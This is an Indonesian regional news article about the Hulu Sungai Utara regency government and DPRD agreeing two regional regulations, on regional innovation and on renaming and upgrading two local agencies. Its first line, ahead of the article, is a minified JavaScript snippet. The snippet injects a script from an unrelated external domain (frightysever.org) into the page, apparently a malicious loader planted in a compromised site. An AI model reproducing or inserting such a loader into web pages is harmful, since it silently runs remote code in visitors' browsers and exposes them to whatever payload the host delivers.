(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) bersama dengan Dewan Perwakilan Rakyat Daerah (DPRD) HSU sepakati dua buah Rancangan Peraturan Daerah (Raperda) menjadi Peraturan Daerah (Perda).
Kesepakatan dicapai dalam rapat paripurna DPRD HSU dengan agenda pengambilan keputusan terhadap Raperda Kabupaten HSU tentang inovasi daerah dan perubahan kedua atas Perda Kabupaten HSU Nomor 12 Tahun 2016 tentang pembentukan dan susunan perangkat daerah di gedung DPRD HSU, Kamis (21/8/2025) siang.
“Kedua Raperda ini sudah lama kita nantikan penetapannya, terutama sekali Raperda tentang inovasi daerah. Karena Raperda ini merupakan salah satu instrumen yang dijadikan penilaian dalam indeks inovasi daerah, yang diselenggarakan oleh Kementerian Dalam Negeri. Dengan adanya Raperda ini, point penilaian yang akan kita dapatkan dalam indeks inovasi daerah akan semakin meningkat,” kata Wakil Bupati HSU Hero Setiawan, saat penyampaian pendapat akhir kepala daerah.
Baca juga: Pemko Banjarbaru Buka Seleksi Terbuka Jabatan Sekda
Raperda ini, diharapkan kreativitas dan inovasi, baik dari ASN, perangkat faerah, masyarakat, dan para pemangku kepentingan lain akan semakin meningkat, sehingga dengan peningkatan kreativitas dan inovasi yang dikembangkan oleh berbagai pihak.
“Maka praktik inovasi di Kabupaten HSU semakin berkembang dan dapat meningkatkan daya saing daerah, serta terwujudnya percepatan kesejahteraan masyarakat,” tambahnya.
Selain itu, ia berharap setelah Raperda inovasi daerah ini disahkan, Bappedalitbang selaku SKPD pemrakarsa dapat melakukan sosialisasi agar Perda ini dapat dipahami dan dilaksanakan dengan baik oleh semua pihak yang terkait.
Baca juga: Save Meratus dari Langit Banjarbaru Lewat Layang-Layang
Wabup Hero Setiawan menjelaskan, terkait Raperda Perubahan Kedua atas Peraturan Daerah Nomor 12 Tahun 2016 tentang pembentukan dan susunan perangkat daerah, yakni mengatur perubahan nomenklatur dan tipe atas dua perangkat daerah.
Pertama, nomenklatur Badan Perencanaan, Pembangunan Daerah, Penelitian dan Pengembangan, yang semula Tipe B, diubah menjadi Badan Perencanaan, Pembangunan, Riset dan Inovasi Daerah dengan Tipe A.
Kedua, nomenklatur Dinas Perpustakaan, yang semula Tipe B, diubah menjadi Dinas Perpustakaan dan Kearsipan dengan Tipe A.
Perubahan nomenklatur Badan Perencanaan, Pembangunan Daerah, Penelitian dan Pengembangan menjadi Badan Perencanaan Pembangunan, Riset dan Inovasi Daerah ini didasarkan pada Peraturan Presiden Nomor 78 Tahun 2021 yang mengamanatkan paling lama 2 tahun sejak Peraturan Presiden berlaku, Daerah wajib membentuk Badan Riset dan Inovasi Daerah.
Baca juga: Aksi Kamisan di Bundaran Banjarbaru Serukan Penegakan HAM
Sedangkan perubahan nomenklatur Dinas Perpustakaan menjadi Dinas Perpustakaan dan Kearsipan, didasarkan pada Undang- Undang Nomor 43 Tahun 2009, yang mengamanatkan pemerintah daerah wajib membentuk arsip daerah, dengan tujuan menjamin terwujudnya pengelolaan arsip yang andal dan pemanfaatannya sesuai dengan peraturan yang berlaku.
“Atas nama pemerintah daerah, saya menyampaikan terima kasih dan penghargaan yang setinggi-tingginya, atas kesepakatan dan keputusan persetujuan terhadap kedua Raperda yang kami ajukan untuk ditetapkan menjadi Peraturan Daerah,” tutupnya.
Sementara Wakil Ketua II DRPD HSU, Ahmad Al Ghifari, saat memimpin rapat menyimpulkan bahwa pada prinsipnya DPRD HSU dapat menerima dan menyetujui dua buah Raperda tersebut menjadi Perda Kabupaten HSU, Hal ini sesuai dengan penyampaian laporan pembahasan oleh pimpinan panitia khusus yang disampaikan sebelumnya oleh Teddy Suryana dan Budi Lesmana.
Baca juga: Kado HUT RI, PLN Salurkan Bantuan Pasang Listrik Gratis 2.821 Keluarga Prasejahtera se Indonesia
“Kami berharap, dari proses dan hasil pembahasan yang telah dilaksanakan dapat menjadi bahan evaluasi bagi kita semua, dalam penyusunan dan pelaksanaan kegiatan anggaran tahun-tahun selanjutnya, guna peningkatan pembangunan dan kesejahteraan daerah serta masyarakat,” pungkasnya.
Diakhir kegiatan dilaksanakan penandatanganan kesepakatan, yang dipimpin langsung Ketua DPRD HSU Fadillah didampingi Wakil Ketua I DPRD, Mawardi, Wakil Ketua II DRPD Ahmad Al Ghifari, bersama Wakil Bupati HSU Hero Setiawan yang disaksikan langsung oleh para anggota DPRD HSU, pejabat SKPD, unsur Forkopimda dan undangan lainnya.(Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
This website uses cookies.